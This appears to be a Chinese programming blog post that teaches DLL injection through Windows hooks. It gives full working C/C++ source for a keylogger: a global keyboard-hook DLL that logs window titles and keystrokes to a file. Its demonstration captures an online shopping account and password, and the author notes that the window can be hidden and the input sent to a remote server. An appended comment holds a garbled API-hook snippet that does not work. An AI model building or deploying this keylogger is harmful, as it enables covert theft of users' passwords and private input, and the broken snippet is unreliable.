使用windows钩子(HOOK)实现DLL注入

DLL注入

  • 在Windows中,每个进程有自己私有的地址空间。当我们用指针来引用内存的时候,指针的值表示的是进程自己的地址空间中的一个内存地址。进程不能创建一个指针来引用属于其他进程的内存。因此,如果进程有一个缺陷会覆盖随机地址处的内存,那么这个缺陷不会影响到其他进程所使用的内存。
  • 独立的地址空间对开发人员和用户是非常有利的。对开发人员来说,系统更有可能捕获错误的内存读/写。对于用户来说,操作系统变得更加健壮了,因为一个应用程序的错误不会导致其他应用程序或操作系统崩溃。
  • 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。可以通过很多种方式来实现DLL注入。
  • 使用注册表来注入DLL
  • 使用Windows挂钩来注入DLL
  • 使用远程线程来注入DLL
  • 使用木马DLL来注入
  • 把DLL作为调试器来注入
  • 使用CreateProcess来注入代码

HOOK技术

  • 这篇文章主要介绍下通过HOOK技术来实现DLL注入

windows窗口程序

  • 先创建一个windows窗口程序

  • 新建一个win32项目
    在这里插入图片描述
    在这里插入图片描述

  • 新建一个源文件,写一个windows窗口程序

#include <windows.h>

typedef BOOL(*P)();

//窗口处理函数
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


//入口函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	//设计窗口类
	WNDCLASS wc = { 0 };
	TCHAR szAppClassName[] = TEXT("KEY_EDU");

	wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景颜色
	wc.hInstance = hInstance;    //应用程序实例句柄
	wc.lpfnWndProc = WindowProc; //窗口处理函数
	wc.lpszClassName = szAppClassName; //窗口类型名
	wc.style = CS_HREDRAW | CS_VREDRAW; //窗口风格


	//注册窗口
	RegisterClass(&wc);

	//创建窗口
	HWND hWnd = CreateWindow(
		szAppClassName,      //窗口类型名
		TEXT("键盘记录器"),  //窗口标题名
		WS_OVERLAPPEDWINDOW, //窗口风格
		300,                 //窗口坐标(距离左边)
		200,                 //窗口坐标(距离上边)
		500,                 //窗口宽度
		300,                 //窗口高度
		NULL,                //父窗口句柄
		NULL,                //菜单句柄
		hInstance,           //应用程序实例句柄
		NULL                 //附加信息
	);


	//显示窗口(SW_HIDE 隐藏窗口)
	ShowWindow(hWnd, SW_SHOW);

	//更新窗口
	UpdateWindow(hWnd);

	//消息循环
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		//将虚拟键消息转换为字符消息
		TranslateMessage(&msg);

		//将消息分发给窗口处理
		DispatchMessage(&msg);
	}

	return 0;
}

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_CLOSE:   //窗口关闭消息
		DestroyWindow(hWnd);  //销毁窗口
		break;
	case WM_DESTROY:
		PostQuitMessage(0);       //退出窗口
		break;
	case WM_CREATE:      //窗口创建消息
		HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
		if (hModule != NULL)
		{
			P pfun = (P)::GetProcAddress(hModule, "InstallHook");
			if (pfun != NULL)
			{
				pfun();
			}
		}
		break;
	}

	return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

钩子程序

  • 创建一个DLL程序
    在这里插入图片描述
    在这里插入图片描述
  • 创建一个头文件和源文件
  • keyHook.h
#pragma once
#include <windows.h>

HHOOK g_hook;

//安装钩子
extern "C" __declspec(dllexport) BOOL InstallHook();


//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();

//钩子处理函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
  • keyHook.cpp
#include "keyHook.h"
#include <stdio.h>

BOOL InstallHook()
{
	g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
	if (g_hook == NULL)
	{
		return FALSE;
	}
	return TRUE;
}

BOOL UninstallHook()
{
	return UnhookWindowsHookEx(g_hook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//拿到当前操作窗口的句柄
	HWND hWnd = ::GetActiveWindow();  //拿当前活动窗口
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow(); //拿顶层窗口
		if (hWnd == NULL)
		{
			return CallNextHookEx(g_hook, nCode, wParam, lParam);
		}
	}

	//拿标题
	char windowsTextBuff[256] = { 0 };
	GetWindowTextA(hWnd, windowsTextBuff, 255);

	//去掉不能拿的按键
	if (nCode < 0 || nCode == HC_NOREMOVE)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);  //让钩子往下传
	}

	if (lParam & 0x40000000) //键盘抬起
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	//获取按键
	char keyTextBuff[256] = { 0 };
	GetKeyNameTextA(lParam, keyTextBuff, 255);

	//打开文件
	FILE* fp = fopen("D:\\dk.txt", "a");
	if (fp == NULL)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	char buff[256] = { 0 };
	sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);

	fwrite(buff, 1, strlen(buff), fp);
	fclose(fp);

	return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
  • 然后把库文件拷贝到windows窗口程序运行目录下
    在这里插入图片描述
    在这里插入图片描述

测试

  • 直接运行windows窗口程序

在这里插入图片描述

  • 然后我们用键盘随便输入信息
  • 打开淘宝输入账号和密码
    在这里插入图片描述
  • 在D:\dk.txt文件中就会记录按键信息
    在这里插入图片描述
  • 当然可以记录你的任何输入
    在这里插入图片描述
    在这里插入图片描述
  • 运行窗口只是为了方便演示,这个窗口可以隐藏。所以说为什么不要去点击乱七八糟的网页,如果攻击者把程序放到钓鱼网站,你点击后,这些程序就会神不知鬼不觉的下载安装运行在你的电脑上,这个测试程序只是将键盘输入记录到本地文件中,攻击者完全可以把你的输入实时发送到远程服务器上。
  • 郑重申明,请不要使用HOOK技术去干违法的事情。
  • 8
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
c hook注入dll是一种在Windows系统中实现函数钩子的技术。下面给出一个完整的例子: 首先,创建一个c文件,命名为hookdll.c,代码如下: #include <Windows.h> // 定义要hook的目标函数 typedef bool (WINAPI* ORIGINAL_FUNCTION)(LPCTSTR); ORIGINAL_FUNCTION OriginalFunction; // 定义hook的替代函数 bool WINAPI HookFunction(LPCTSTR lpFileName) { // 在这里编写你的hook函数逻辑 // 可以在这个函数中修改传入参数或返回值,实现钩子的目的 // ... // 调用原始函数 return OriginalFunction(lpFileName); } // Dll入口函数 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { // 加载kernel32.dll HMODULE kernel32 = LoadLibrary("kernel32"); if (kernel32 != NULL) { // 获取目标函数地址 OriginalFunction = (ORIGINAL_FUNCTION)GetProcAddress(kernel32, "函数名"); if (OriginalFunction != NULL) { // 修改函数的内存属性为可执行和可写 DWORD oldProtect; VirtualProtect(OriginalFunction, sizeof(ORIGINAL_FUNCTION), PAGE_EXECUTE_READWRITE, &oldProtect); // 修改函数的指针为hook函数的指针 *OriginalFunction = &HookFunction; // 还原函数的内存属性 VirtualProtect(OriginalFunction, sizeof(ORIGINAL_FUNCTION), oldProtect, &oldProtect); } // 释放kernel32.dll内存 FreeLibrary(kernel32); } } return TRUE; } 编译这个项目,得到一个dll文件,命名为hookdll.dll。 然后,创建一个使用目标dll的示例程序,例如使用了kernel32.dll中的某个方法。然后按照以下步骤实现hook注入: 1. 打开示例程序的源代码,编辑代码,添加以下代码段: #pragma comment(lib, "hookdll.lib") 2. 将hookdll.dll拷贝到示例程序的目录下。 3. 使用LoadLibrary函数在程序中动态加载hookdll.dll。 4. 调用示例程序中使用kernel32.dll中方法的代码,此时会执行被hook函数的替代函数。 通过以上步骤,我们就实现了c hook注入dll的完整例子。在hook函数中可以对传入的参数或返回值进行修改,实现我们想要的钩子效果。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大草原的小灰灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值